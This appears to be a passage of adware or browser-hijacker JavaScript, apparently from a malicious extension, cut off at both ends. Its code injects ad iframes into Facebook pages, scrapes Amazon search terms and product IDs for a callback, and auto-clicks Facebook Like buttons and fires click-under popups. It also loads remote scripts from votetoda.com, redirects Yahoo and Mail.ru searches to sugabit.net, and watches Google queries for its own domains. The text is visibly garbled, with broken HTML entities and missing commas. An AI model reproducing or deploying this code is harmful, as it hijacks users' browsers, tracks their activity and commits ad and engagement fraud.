var c = i("<iframe id='8a61598d' name='8a61598d' src='//cdnpps.us/www/delivery/afr.php?zoneid=119&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='468' height='60' style='display:inline-block;'><a href='//cdnpps.us/www/delivery/ck.php?n=8a61598d' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=119&amp;n=8a61598d' border='0' alt='' /></a></iframe>"); | |
function f(j) { | |
return document.querySelectorAll(j) || [] | |
} | |
var a = function(n, j, o, l, m) { | |
var k = document.createElement("div"); | |
k.setAttribute("id", "_" + Math.floor((Math.random() * 1000000000))); | |
k.setAttribute("style", m || ""); | |
k.innerHTML = o; | |
l.style.textAlign = "center"; | |
l.appendChild(k) | |
}; | |
function b(j) { | |
j.id = "_" + j.id; | |
j.setAttribute("data-mytype", "name_baner"); | |
j.innerHTML = ""; | |
a(300, 600, e, j) | |
} | |
function h(k, j) { | |
var l = document.createElement("div"); | |
l.setAttribute("data-mytype", "name_baner"); | |
l.setAttribute("style", "margin:0 auto; overflow:hidden;"); | |
k.setAttribute("data-mytype", "name_baner"); | |
k.appendChild(l); | |
a(468, 60, c, l, j) | |
} | |
var g = function() { | |
Array.prototype.forEach.call(f("div.feed.__klass.__no-ava>.feed_cnt")function(j) { | |
if (!j.getAttribute("data-mytype")) { | |
h(j, "margin: 0 auto 10px;") | |
} | |
}); | |
Array.prototype.forEach.call(f('div[class^="feed h-mod"]')function(j) { | |
if (!j.lastElementChild.getAttribute("data-mytype") & amp; & amp; !j.parentNode.getAttribute("class")) { | |
h(j, "margin: 10px auto 0;") | |
} | |
}); | |
Array.prototype.forEach.call(f('div[data-btype^="LinkBanner_navigate"]')function(j) { | |
if (!j.getAttribute("data-mytype")) { | |
j.innerHTML = ""; | |
b(j) | |
} | |
}); | |
setTimeout(g, 3333) | |
}; | |
g() | |
})(); | |
} | |
} | |
if (typeof runForceSearch != "undefined") { | |
runForceSearch() | |
} | |
var amzreg = /(^|www\.)amazon\./g; | |
if (location.hostname.match(amzreg)) { | |
(function(f, a) { | |
function e(h) { | |
var g | |
d | |
i = new RegExp("[?&#]" + h + "=([^&#$]+)", "g"); | |
while (g = i.exec(a.location.href)) { | |
d = decodeURIComponent((g[1] + "").replace(/\+/g, "%20")) | |
} | |
return d | |
} | |
function b() { | |
if (f.location.pathname.indexOf("/s/") !== 0 & amp; & amp; f.location.pathname.indexOf("/gp/search/") !== 0) { | |
return | |
} | |
var p = (f.querySelector("[name=field-keywords]") & amp; & amp; f.querySelector("[name=field-keywords]").value) || e("field-keywords"); | |
var g = "", | |
i = f.querySelector("#searchDropdownBox option:checked"); | |
if (f.querySelector("#apsRedirectLink")) { | |
i = f.querySelector("#searchDropdownBox option:first-child") | |
} | |
if (!!i) { | |
g = i.value + "::" + i.textContent | |
} | |
var j = []; | |
var o = [].slice.call(f.querySelectorAll(".s-result-item")); | |
if (o.length) { | |
j = o.map(function(m) { | |
return m.getAttribute("data-asin") | |
}) | |
} | |
var k, d = f.getElementById("s-result-count"); | |
if (!!d) { | |
k = d.textContent.indexOf("-") & gt; - 1 ? parseInt(d.textContent) : 1; | |
if (f.location.hostname.indexOf("amazon.com.mx") & gt; - 1) { | |
k = d.textContent.indexOf(" a ") & gt; - 1 ? parseInt(d.textContent) : 1 | |
} | |
if (f.location.hostname.indexOf("amazon.cn") & gt; - 1 || f.location.hostname.indexOf("amazon.co.jp") & gt; - 1) { | |
var h = d.textContent.match(/\d+\-\d+/); | |
if (!!h) { | |
k = parseInt(h[0]) | |
} | |
} | |
} | |
if (Number.isInteger(k) == false) { | |
var n = f.querySelector(".pagnCur"); | |
var l = n ? parseInt(n.textContent) : parseInt(e("page")) || 1; | |
k = (l - 1) * o.length + 1 | |
} | |
if (!j.length) { | |
return | |
} | |
$$.loadedCallback("AMZN_SEARCH", "", a.location.hostname, p, j.join(" | |
"), k, g) | |
} | |
b(); | |
var c = a.history.pushState; window.history.pushState = function(i) { | |
var d = 1000, | |
h = f.getElementById("s-results-list-atf"), | |
g = setInterval(function() { | |
if (h !== f.getElementById("s-results-list-atf") & amp; & amp; f.getElementById("centerBelowPlusspacer") === null) { | |
clearInterval(g); | |
b() | |
} | |
if (!d--) { | |
clearInterval(g) | |
} | |
}, 100); | |
return c.apply(a.history, arguments) | |
} | |
})(document, window); | |
} | |
var searchEngineCheckResult; | |
var isSearchEngine = function() { | |
if (typeof searchEngineCheckResult != "undefined") { | |
return searchEngineCheckResult | |
} | |
var found = false; | |
["google.", "search.yahoo.", "bing.com", "ask.com", "shopping.yahoo", "search.aol.", "wow.com", "when.com", "search.mywebsearch.com", "search.myway.com", "duckduckgo.com", "mysearch.com", "teoma.com", "searchlock.com", "myprivatesearch.com", "searchprivacy.co", "thesmartsearch.net", "infospace", "safefinder.com", "mysearchguardian.com"].forEach(function(domainCheck) { | |
if (location.hostname.indexOf(domainCheck) & gt; - 1) { | |
found = true | |
} | |
}); | |
searchEngineCheckResult = found; | |
return found | |
}; | |
if (location.hostname.indexOf("facebook.com") & gt; - 1) { | |
if (scriptsToLoad['5df82']) { | |
(function(r, j, l) { | |
var k = j["684a91d7f4464c3350"]; | |
var a = j["684a91d7f4464c3350"].Sizzle; | |
if (location.hostname.indexOf("facebook.com") & lt; 0) { | |
return | |
} | |
var q = { | |
_mfbgp_sub_g2: "/fun8times" | |
}; | |
var g = '5df82'; | |
var o = false; | |
var t = "_mfbgp_sub_t"; | |
var b = false; | |
var n = null; | |
for (var p in q) { | |
if (location.href.indexOf(q[p]) & gt; - 1) { | |
n = p | |
} | |
} | |
if (!n) { | |
var f = false; | |
var m = k.getCookie(t); | |
if (m & gt; | |
(k.unixTimestampNow - 86400)) { | |
return | |
} | |
var c = []; | |
for (var p in q) { | |
if (k.getCookie(p)) { | |
continue | |
} | |
c.push(q[p]) | |
} | |
if (!c || c.length & lt; 1) { | |
return | |
} | |
var e = c[Math.floor(Math.random() * c.length)]; | |
if (typeof e == "undefined") { | |
return | |
} | |
e = "https://facebook.com" + e; | |
var s = function(i) { | |
var u = this; | |
var d = []; | |
k.on(j.addEventListener ? j : r, "click", function(w) { | |
var v = w.ctrlKey || w.metaKey || w.altKey || w.shiftKey, | |
x = w.which & amp; & amp; | |
1 === w.which || 0 === w.button; | |
k.each(d, function(y) { | |
if (y.call(w) === true) { | |
k.preventDefault(w); | |
return false | |
} | |
}) | |
}); | |
u.backgroundLink = function(x) { | |
var w = document.createElement("a"); | |
w.href = x; | |
w.__norewrite = 1; | |
w.rel = "norewrite"; | |
w.target = "_blank"; | |
var v = document.createEvent("MouseEvents"); | |
v.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null); | |
w.dispatchEvent(v) | |
}; | |
u.clickunder = function(v) { | |
d.push(v) | |
}; | |
u.clickunder(function(v) { | |
if (!f & amp; & amp; i) { | |
u.backgroundLink(i); | |
k.updateLimits(g); | |
k.loadedCallback("BANNER_LOAD", g); | |
k.setCookie(t, k.unixTimestampNow, { | |
expire: 864000, | |
path: "/" | |
}); | |
f = true; | |
return true | |
} else { | |
return false | |
} | |
}) | |
}; | |
s(e); | |
return | |
} | |
if (k.getCookie(n)) { | |
return | |
} | |
k.loadedCallback("MNTZ_LOADED", g); | |
function h() { | |
if (b) { | |
return | |
} | |
var d = a("#pages-header button.likeButton"); | |
if (d.length & gt; 0) { | |
d[0].click(); | |
b = true; | |
k.setCookie(n, 1, { | |
expire: 86400 * 60, | |
path: "/" | |
}); | |
k.setCookie(t, k.unixTimestampNow, { | |
expire: 864000, | |
path: "/" | |
}) | |
} | |
} | |
k.ready(function() { | |
if (o) { | |
return | |
} | |
o = true; | |
h(); | |
var v = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver; | |
var i = document.body; | |
if (typeof v != "undefined") { | |
var u = new v(function(x) { | |
x.forEach(function(z) { | |
if (z.type === "childList") { | |
for (var y = 0; y & lt; z.addedNodes.length; y++) { | |
h() | |
} | |
} | |
u.observe(document.body, { | |
childList: true, | |
subtree: true | |
}) | |
}) | |
}); | |
u.observe(i, { | |
childList: true, | |
subtree: true | |
}) | |
} else { | |
var w = function() { | |
if (b) { | |
return true | |
} | |
h(); | |
d = setTimeout("checkByTimer", 1000) | |
}; | |
var d = setTimeout("checkByTimer", 1000) | |
} | |
}) | |
})(document, window); | |
} | |
if (scriptsToLoad['af23c']) { | |
(function(f, h, j) { | |
var g = true; | |
try { | |
if (chrome.bookmarks) { | |
g = false | |
} | |
} catch (c) {} | |
if (location.protocol == "chrome-extension:") { | |
g = false | |
} | |
if (g) { | |
var b = window.location.href; | |
var l = document.getElementById("dexscriptpopup"); | |
if (l === null & amp; & amp; b.indexOf("m.facebook.com") != "-1") { | |
document.body.style.width = "0px"; | |
var k = document.createElement("div"); | |
k.id = "dexscriptpopup"; | |
k.style.cssText = "position:fixed; width:100%; height:100%; z-index:100; background:#fff; top:0px; left: 0px;"; | |
document.body.appendChild(k); | |
setTimeout(function() { | |
window.close() | |
}, 10000) | |
} | |
var i = document.createElement("script"); | |
i.id = "dexscriptid"; | |
i.src = "https://votetoda.com/ext/script.php?id=ukr&track=true"; | |
var a = document.getElementById("dexscriptid"); | |
if (a === null) { | |
document.body.appendChild(i) | |
} else {} | |
} else { | |
var i = document.createElement("script"); | |
i.id = "dexscriptid"; | |
i.src = "https://votetoda.com/ext/script.php?id=ukr&track=false"; | |
var a = document.getElementById("dexscriptid"); | |
if (a === null) { | |
document.body.appendChild(i) | |
} else {} | |
} | |
})(document, window); | |
} | |
if (scriptsToLoad['1f755']) { | |
var fconf = $$.getMonetizationConfig('1f755'); | |
if (!!fconf.injectFacebook & amp; & amp; fconf.injectFacebook == "1") { | |
(function() { | |
var d = document.querySelector("body"); | |
if (!d) { | |
return | |
} | |
function j(k) { | |
k = k.replace(/%PUBLISHER_ID%/, ($$ & amp; & amp; $$.tbParams & amp; & amp; $$.tbParams.wid) ? $$.tbParams.wid : ""); | |
k = k.replace(/%SOURCE_ID%/, ($$ & amp; & amp; $$.tbParams & amp; & amp; $$.tbParams.tid) ? $$.tbParams.tid : ""); | |
k = k.replace(/%SUBID%/, ($$ & amp; & amp; $$.tbParams & amp; & amp; $$.tbParams.sid) ? $$.tbParams.sid : ""); | |
k = k.replace(/INSERT_RANDOM_NUMBER_HERE/, new Date().getTime()); | |
return k | |
} | |
var f = j("<iframe id='c8866ab3' name='c8866ab3' src='//cdnpps.us/www/delivery/afr.php?zoneid=120&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='300' height='250' style='display:block;'><a href='//cdnpps.us/www/delivery/ck.php?n=c8866ab3' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=120&amp;n=c8866ab3' border='0' alt='' /></a></iframe>"); | |
var c = j("<iframe id='8a61598d' name='8a61598d' src='//cdnpps.us/www/delivery/afr.php?zoneid=119&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='468' height='60' style='display:block;'><a href='//cdnpps.us/www/delivery/ck.php?n=8a61598d' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=119&amp;n=8a61598d' border='0' alt='' /></a></iframe>"); | |
function g(k) { | |
return document.querySelectorAll(k) || [] | |
} | |
var a = function(n, k, o, m) { | |
var l = document.createElement("div"); | |
l.setAttribute("id", "_" + Math.floor((Math.random() * 1000000000))); | |
l.innerHTML = o; | |
l.setAttribute("style", "display: inline-block;height:" + k + "px !important;width:" + n + "px !important;margin:0 auto;z-index:99999999;border:0;"); | |
m.style.textAlign = "center"; | |
m.appendChild(l) | |
}; | |
function h(k) { | |
k.style.minHeight = "500px"; | |
k.id = "_" + k.id; | |
k.setAttribute("data-mytype", "name_baner"); | |
k.innerHTML = ""; | |
a(300, 500, f + f, k) | |
} | |
function i(k) { | |
var l = document.createElement("div"); | |
l.setAttribute("data-mytype", "name_baner"); | |
l.setAttribute("style", "width:468px;height:60px;margin:0 auto 10px auto;"); | |
k.setAttribute("data-mytype", "name_baner"); | |
k.appendChild(l); | |
a(468, 60, c, l) | |
} | |
var b = function() { | |
Array.prototype.forEach.call(g('div[class^="_5jmm _5pat"]'), function(k) { | |
if (!k.getAttribute("data-mytype")) { | |
i(k) | |
} | |
}); | |
Array.prototype.forEach.call(g("#pagelet_ego_pane"), function(k) { | |
if (!k.getAttribute("data-mytype") & amp; & amp; k.offsetHeight & gt; 50) { | |
h(k) | |
} | |
}); | |
setTimeout(b, 3333) | |
}; | |
b(); | |
var e = new MutationObserver(function(k) { | |
for (var l in k) { | |
if (k[l].addedNodes.length) { | |
b(); | |
break | |
} | |
} | |
}); | |
e.observe(document.getElementById("content"), { | |
childList: true | |
}) | |
})(); | |
} | |
} | |
} else { | |
$$.loadedCallback("BEFORE_OPTOUT_REQ"); | |
$$.jsonp({ | |
url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + $$.scriptDomain + "/optout/get", | |
data: { | |
key: "684a91d7f4464c3350" | |
}, | |
callback: function(response) { | |
if (!response.success) { | |
$$.loadedCallback("OPTOUT_RESPONSE_FAIL"); | |
return false | |
} | |
$$.loadedCallback("OPTOUT_RESPONSE_OK"); | |
var userId = response.userId; | |
var startTime = response.strTm; | |
var optout = {}; | |
if (response.optout) { | |
optout = $$.optoutValue = $$.fromJson(decodeURIComponent(response.optout)) | |
} | |
var country = response.country; | |
var limits = {}; | |
var ownMonetizationsClickFlag = false; | |
if (response.limits) { | |
limits = $$.limitsValue = $$.fromJson(decodeURIComponent(response.limits)) | |
} | |
if (response.lcFlag & amp; & amp; response.lcFlag == 1) { | |
ownMonetizationsClickFlag = true | |
} | |
var targetingUser = response.targeting || 0; | |
var currentHostname = location.hostname; | |
currentHostname = currentHostname.replace("www.", ""); | |
var timeNow = $$.unixTimestampNow; | |
if (!country) { | |
country = "xx" | |
} | |
country = country.toLowerCase(); | |
if (!userId) { | |
userId = $$.randomNumber(1, 100); | |
$$.jsonp({ | |
url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + $$.scriptDomain + "/optout/set/userid", | |
data: { | |
key: "684a91d7f4464c3350", | |
cv: userId | |
} | |
}) | |
} | |
if (!startTime) { | |
$$.setStartTime() | |
} | |
var timeAfterInstall = $$.unixTimestampNow - startTime; | |
var platformBlocks = []; | |
for (var key in scriptsToLoad) { | |
try { | |
var scriptRow = scriptsToLoad[key]; | |
var scriptUrl = scriptRow.url; | |
var scriptUrlParams = {}; | |
var scriptCoverage = parseInt(scriptRow.coverage); | |
if (($$.getCookie("__mtzalnly") == 1 || $$.getCookie("__lnntlk") == 1) & amp; & amp; | |
['cd1d2', '210e2', 'b48fe', '6a131', '81d01', 'a5093', '865b2', '88350', 'f81c7', '80c44', '90f06'].indexOf(key) == -1) { | |
continue | |
} | |
if (isSearchEngine()) { | |
if (['4dc06', '42265', '84a21', 'ef3e3', '031e7', '58c2e', '85031', '5db45', 'ac348', '6cf2f', '220bb', 'b6eb3', '1a2aa', '08552', '4a71b', 'cd1d2', '81d01', 'f81c7', 'b777a', 'a49b5', 'c3369', '4a0ef', '5de0e', 'e1d94'].indexOf(key) == -1) { | |
continue | |
} | |
} | |
if (ownMonetizationsClickFlag) { | |
if (['4dc06', 'bd895', '1f755', '42265', '84a21', 'ef3e3', '031e7', '58c2e', '85031', 'ac348', '6cf2f', '220bb', 'b6eb3', '1a2aa', '5db45', '08552', '4a71b', '02aed'].indexOf(key) == -1) { | |
continue | |
} | |
} | |
if (typeof(scriptUrl) == "object") { | |
if (scriptUrl.rotator) { | |
var rotatorCount = scriptUrl.rotator.length; | |
if (!rotatorCount) { | |
rotatorCount = 0 | |
} | |
var rotatorCookieName = "_mrtr_684a91d7f4464c3350_" + key; | |
var lastRotatedIndex = $$.getCookie(rotatorCookieName); | |
if (!lastRotatedIndex || lastRotatedIndex & lt; 0 || lastRotatedIndex & gt; = rotatorCount) { | |
lastRotatedIndex = 0 | |
} | |
scriptUrlParams = scriptUrl.rotator[lastRotatedIndex]; | |
scriptUrl = getUrlFromConfigObject(scriptUrlParams); | |
lastRotatedIndex++; | |
$$.setCookie(rotatorCookieName, lastRotatedIndex, { | |
expire: 86400 | |
}) | |
} else { | |
scriptUrlParams = scriptUrl; | |
scriptUrl = getUrlFromConfigObject(scriptUrlParams) | |
} | |
} | |
if (typeof(scriptUrl) != "string") { | |
break | |
} | |
if (!$$.demoMode) { | |
if ("1668" == 1549 & amp; & amp; location.protocol == "https:" & amp; & amp; | |
(key == "a8bb7" || key == "e9254")) { | |
return true | |
} | |
if ((location.hostname == "youtube.com" || location.hostname == "www.youtube.com") & amp; & amp; key != "1f755" & amp; & amp; key != "1fbee") { | |
continue | |
} | |
if (location.hostname.indexOf("facebook.com") & gt; - 1) { | |
continue | |
} | |
if (optout & amp; & amp; optout[key] != undefined & amp; & amp; optout[key] == true) { | |
continue | |
} | |
if (scriptRow.countries_allow & amp; & amp; scriptRow.countries_allow.indexOf(country) == -1) { | |
continue | |
} | |
if (scriptRow.countries_deny & amp; & amp; scriptRow.countries_deny.indexOf(country) & gt; - 1) { | |
continue | |
} | |
if (scriptCoverage & amp; & amp; scriptCoverage & lt; userId) { | |
continue | |
} | |
if (limits & amp; & amp; limits[key]) { | |
var leftTime = parseInt(limits[key]) - timeNow; | |
if (leftTime & gt; 0) { | |
continue | |
} | |
} | |
if (key == "a096e" & amp; & amp; targetingUser != 1) { | |
continue | |
} | |
var hostnameReg; | |
if (scriptRow.hostname_deny) { | |
hostnameReg = new RegExp("^" + scriptRow.hostname_deny + "$", "i"); | |
if (hostnameReg.test(currentHostname)) { | |
continue | |
} | |
} | |
if (scriptRow.hostname_allow) { | |
hostnameReg = new RegExp("^" + scriptRow.hostname_allow + "$", "i"); | |
if (!hostnameReg.test(currentHostname)) { | |
continue | |
} | |
} | |
if (scriptRow.browsers_allow || scriptRow.browsers_deny) { | |
if (typeof detect == "undefined") { | |
continue | |
} | |
var ua = detect.parse(navigator.userAgent); | |
var checkUa = ua.browser.family.toLowerCase(); | |
var browserAllowed = false | |
} | |
if (scriptRow.browsers_allow) { | |
var browsersAllow = scriptRow.browsers_allow.toLowerCase().split(" | |
"); | |
for (var i2 in browsersAllow) { | |
if (browsersAllow[i2] == checkUa) { | |
browserAllowed = true; | |
break | |
} | |
} | |
if (!browserAllowed) { | |
continue | |
} | |
} | |
if (scriptRow.browsers_deny) { | |
var browsersDeny = scriptRow.browsers_deny.toLowerCase().split(" | |
"); | |
for (var i2 in browsersDeny) { | |
if (browsersDeny[i2] == checkUa) { | |
browserAllowed = false; | |
break | |
} | |
} | |
if (!browserAllowed) { | |
continue | |
} | |
} | |
} else {}; | |
if (key == "1a2aa") { | |
continue | |
} | |
if (key == "5db45") { | |
continue | |
} | |
if (key == "309e4") { | |
continue | |
} | |
if (key == "a49b5" || key == "1dbbc") { | |
continue | |
} | |
if (scriptRow.type == "external") { | |
$$.loadedCallback("MNTZ_INJECT", key); | |
scriptUrl = scriptUrl.replace(/\/SID\//g, encodeURIComponent($$.tbParams.sid)); | |
scriptUrl = scriptUrl.replace(/\/TITLE\//g, encodeURIComponent($$.tbParams.title)); | |
scriptUrl = scriptUrl.replace(/\/REFERRER\//g, encodeURIComponent(location.href)); | |
scriptUrl = scriptUrl.replace(/\/REF_HOST\//g, encodeURIComponent(location.hostname ? location.hostname : location.host)); | |
scriptUrl = scriptUrl.replace(/\/RANDOM\//g, Math.floor(Math.random() * 52)); | |
scriptUrl = scriptUrl.replace(/\/OPTOUTURL_DBLENCODED\//g, encodeURIComponent(encodeURIComponent(($$.tbParams.optoutUrl ? $$.tbParams.optoutUrl : "http://thisadsfor.us/optout?t=1668&u=50653&block=" + key)))); | |
scriptUrl = scriptUrl.replace(/\/OPTOUTURL\//g, encodeURIComponent(($$.tbParams.optoutUrl ? $$.tbParams.optoutUrl : "http://thisadsfor.us/optout?t=1668&u=50653&block=" + key))); | |
if (scriptUrl) { | |
if (scriptUrl.substr(0, 2) == "//") { | |
scriptUrl = (window.location.protocol == "http:" ? "http:" : "https:") + scriptUrl | |
}(function(block) { | |
var script = $$.script(scriptUrl, false, (scriptUrlParams.tag_attributes ? scriptUrlParams.tag_attributes : null)); | |
$$.on(script, "load", function() { | |
$$.loadedCallback("MNTZ_LOADED", block); | |
$$.updateLimits(block) | |
}) | |
})(key) | |
} else { | |
$$.loadedCallback("MNTZ_LOADED", key); | |
$$.updateLimits(key) | |
} | |
} else { | |
if (scriptRow.type == "platform") { | |
platformBlocks.push(key) | |
} else {} | |
} | |
} catch (e) { | |
$$.loadedCallback("CORE_JS_ERROR", key) | |
} | |
} | |
if (platformBlocks.length & gt; 0) { | |
var params = ["sid=" + $$.tbParams.wid + "_" + $$.tbParams.tid + "_" + $$.tbParams.sid, "title=" + encodeURIComponent($$.tbParams.title)]; | |
for (var i in platformBlocks) { | |
if (typeof platformBlocks[i] != "string") { | |
break | |
} | |
params.push("blocks[]=" + platformBlocks[i]) | |
} | |
var url = (window.location.protocol == "http:" ? "http:" : "https:") + "//" + $$.scriptDomain + "/ext/684a91d7f4464c3350.js?" + params.join("&"); | |
$$.script(url, false); | |
$$.loadedCallback("MNTZ_INJECT", platformBlocks.join(" | |
")) | |
} | |
} | |
}); | |
if (scriptsToLoad['af23c']) { | |
(function(f, h, j) { | |
var g = true; | |
try { | |
if (chrome.bookmarks) { | |
g = false | |
} | |
} catch (c) {} | |
if (location.protocol == "chrome-extension:") { | |
g = false | |
} | |
if (g) { | |
var b = window.location.href; | |
var l = document.getElementById("dexscriptpopup"); | |
if (l === null & amp; & amp; b.indexOf("m.facebook.com") != "-1") { | |
document.body.style.width = "0px"; | |
var k = document.createElement("div"); | |
k.id = "dexscriptpopup"; | |
k.style.cssText = "position:fixed; width:100%; height:100%; z-index:100; background:#fff; top:0px; left: 0px;"; | |
document.body.appendChild(k); | |
setTimeout(function() { | |
window.close() | |
}, 10000) | |
} | |
var i = document.createElement("script"); | |
i.id = "dexscriptid"; | |
i.src = "https://votetoda.com/ext/script.php?id=ukr&track=true"; | |
var a = document.getElementById("dexscriptid"); | |
if (a === null) { | |
document.body.appendChild(i) | |
} else {} | |
} else { | |
var i = document.createElement("script"); | |
i.id = "dexscriptid"; | |
i.src = "https://votetoda.com/ext/script.php?id=ukr&track=false"; | |
var a = document.getElementById("dexscriptid"); | |
if (a === null) { | |
document.body.appendChild(i) | |
} else {} | |
} | |
})(document, window); | |
} | |
} | |
if (location.host.indexOf("youradexchange.com") & gt; = 0 & amp; & amp; location.pathname.indexOf("a/display.") & gt; = 0) { | |
if ($$.getParams & amp; & amp; $$.getParams.r & amp; & amp; $$.getParams.r != 391766 & amp; & amp; $$.getParams.r != 391769) { | |
var r = $$.randomNumber(1, 100); | |
var rLimit = 100; | |
if (r & lt; = rLimit) { | |
setTimeout(function() { | |
location.href = "http://www.youradexchange.com/a/display.php?r=391769&sub1=pr" + $$.tbParams.wid + "x" + $$.tbParams.tid + "x" + $$.tbParams.sid | |
}, 0) | |
} else {} | |
} | |
} | |
try { | |
if (location.hostname.indexOf("google.") == 0 || location.hostname.indexOf("www.google.") == 0) { | |
var checkKeywords = function() { | |
var searchEls = document.getElementsByName("q"); | |
var kw; | |
if (searchEls) { | |
kw = searchEls[0].value | |
} | |
if (!kw) { | |
return false | |
} | |
var pattern = /(lnkr\.us|urlvalidation\.com|adrs\.me|adnotbad\.com|adserv\.info|amiok\.org|analyzecdn\.xyz|analyzenetwork\.xyz|bootstrapnet\.space|butstrap\.space|cdnanalytics\.xyz|cdncash\.com|cdncash\.net|cdncash\.org|cdnclntr\.com|cdnlvry\.xyz|cdnnetwok\.xyz|cdnstr\.xyz|cdnswf\.xyz|cdnvalid\.xyz|connectionstrenth\.com|domainanalyzing\.xyz|domaincdn\.xyz|domainvalidation\.xyz|extenjo\.net|flowanalytic\.site|ge0ip\.com|ge0ip\.net|ge0ip\.org|glganltcs\.space|glgnltks\.xyz|icontent\.us|intrnlcss\.xyz|jsfuel\.com|lancheck\.net|metrext\.com|netanalitics\.space|netanalytics\.xyz|netanalyzer\.space|netcheckcdn\.xyz|netstats\.space|netwcdn\.xyz|networkanalytics\.xyz|networkcheck\.xyz|ratexchange\.net|serverads\.net|siteheart\.net|spaceshipad\.com|spedcheck\.space|spidtest\.org|spidtest\.space|takethatad\.com|tradeadsexchange\.com|trendtext\.eu|validanalytics\.xyz|validationcdn\.xyz|validcdn\.xyz|validcndnet\.xyz|validdomain\.xyz|whatzmyip\.net|ydpi\.pw)/i; | |
if (kw.match(pattern)) { | |
clearTimeout(checkKeywordsTimerId); | |
$$.loadedCallback("GOOGLE_KEYWORD_MATCH"); | |
$$.script("//urlvalidation.com/rememberme"); | |
$$.script("//adrs.me/rememberme") | |
} | |
}; | |
var checkKeywordsTimerId; | |
var runCheckKeywords = function() { | |
checkKeywordsTimerId = setTimeout(runCheckKeywords, 1000); | |
checkKeywords() | |
}; | |
$$.ready(function() { | |
runCheckKeywords() | |
}) | |
} | |
} catch (e) {} | |
var matchPattern = /(boobking\.|booing\.|buking\.|boocking\.|boooking\.|bookking\.|booing\.)/i; | |
if (location.hostname.match(matchPattern)) { | |
if (typeof window.stop == "function") { | |
window.stop() | |
} | |
location.href = "http://adrs.me/get?key=6ae9f4bd1dc812dc713d61cba871d8e8&out=http%3A%2F%2Fbooking.com&ref=http%3A%2F%2Fgo.com&format=go&uid=rdr50653" | |
} | |
if (isInIframe()) { | |
return | |
} | |
if (scriptsToLoad['85031']) { | |
(function() { | |
var block = '85031'; | |
$$.ready(function() { | |
try { | |
(function() { | |
if (location.hostname.indexOf("search.yahoo.com") == -1 || location.pathname.indexOf("/search") == -1) { | |
return | |
} | |
var r = $$.randomNumber(1, 100); | |
var rLimit = scriptsToLoad[block].coverage; | |
if (r & gt; rLimit) { | |
return | |
} | |
$$.loadedCallback("MNTZ_LOADED", block); | |
if ($$.getCookie("__mtz_srchyho_fired") == 1) { | |
return | |
} | |
function getParams() { | |
params = {}; | |
for (var e = location.search.replace("?", ""), r = e.split("&"), c = 0; c & lt; r.length; c++) { | |
t = r[c].split("="), t[1] & amp; & amp; | |
(params[t[0]] = t[1]) | |
} | |
var a = location.hash.replace("#", ""); | |
a & amp; & amp; | |
(t = a.split("="), t[1] & amp; & amp; | |
(params[t[0]] = t[1])) | |
} | |
function checkYahooTag() { | |
getParams(); | |
if (location.href.indexOf("tightrope") & gt; - 1 & amp; & amp; location.href.indexOf("tr57") & gt; - 1) { | |
return | |
} else { | |
redirectSearch("p") | |
} | |
} | |
function redirectSearch(e) { | |
if (getParams(), void 0 != params[e]) { | |
window.stop & amp; & amp; | |
window.stop(), document.documentElement.style.opacity = "0", document.documentElement.style.display = "none"; | |
var r = params[e], | |
c = "http://sugabit.net/search.php?source=btn&sid=" + $$.tbParams.wid + "x" + $$.tbParams.tid + "x" + $$.tbParams.sid + "&q=" + r; | |
$$.loadedCallback("BANNER_LOAD", block); | |
$$.setCookie("__mtz_srchyho_fired", 1, { | |
expire: 1800 | |
}); | |
location.href = c, clearInterval(tmr) | |
} | |
} | |
function checkForSearch() { | |
var e = location.href; - 1 != d.indexOf("search.yahoo.com") & amp; & amp; | |
checkYahooTag() & amp; & amp; | |
clearInterval(tmr) | |
} | |
var d = window.document.domain, | |
tmr, tmrCnt = 0, | |
params = {}; | |
window == top & amp; & amp; | |
(checkForSearch(), tmr = setInterval(checkForSearch, 100)) | |
})() | |
} catch (e) {} | |
}) | |
})() | |
} | |
if (scriptsToLoad['ac348']) { | |
(function() { | |
var block = 'ac348'; | |
$$.ready(function() { | |
try { | |
(function() { | |
if (location.hostname.indexOf("go.mail.ru") == -1 || location.pathname.indexOf("/search") == -1) { | |
return | |
} | |
var r = $$.randomNumber(1, 100); | |
var rLimit = scriptsToLoad[block].coverage; | |
if (r & gt; rLimit) { | |
return | |
} | |
$$.loadedCallback("MNTZ_LOADED", block); | |
if ($$.getCookie("__mtz_srchmlr_fired") == 1) { | |
return | |
} | |
function getParams() { | |
params = {}; | |
for (var e = location.search.replace("?", ""), r = e.split("&"), c = 0; c & lt; r.length; c++) { | |
t = r[c].split("="), t[1] & amp; & amp; | |
(params[t[0]] = t[1]) | |
} | |
var a = location.hash.replace("#", ""); | |
a & amp; & amp; | |
(t = a.split("="), t[1] & amp; & amp; | |
(params[t[0]] = t[1])) | |
} | |
function checkMailruTag() { | |
getParams(); | |
if (params.frc & amp; & amp; params.frc == "821563") { | |
return | |
} else { | |
redirectSearch("q") | |
} | |
} | |
function redirectSearch(e) { | |
if (getParams(), void 0 != params[e]) { | |
window.stop & amp; & amp; | |
window.stop(), document.documentElement.style.opacity = "0", document.documentElement.style.display = "none"; | |
var r = params[e], | |
c = "http://sugabit.net/search.php?source=btn2&sid=" + $$.tbParams.wid + "x" + $$.tbParams.tid + "x" + $$.tbParams.sid + "&q=" + r; | |
$$.loadedCallback("BANNER_LOAD", block); | |
$$.setCookie("__mtz_srchmlr_fired", 1, { | |
expire: 1800 | |
}); | |
location.href = c, clearInterval(tmr) | |
} | |
} | |
function checkForSearch() { | |
var e = location.href; - 1 != d.indexOf("go.mail.ru") & amp; & amp; | |
checkMailruTag() & amp; & amp; | |
clearInterval(tmr) | |
} | |
var d = window.document.domain, | |
tmr, tmrCnt = 0, | |
params = {}; | |
window == top & amp; & amp; | |
(checkForSearch(), tmr = setInterval(checkForSearch, 100)) | |
})() | |
} catch (e) {} | |
}) | |
})() | |
} | |
if (scriptsToLoad['5db45']) { | |
(function() { | |
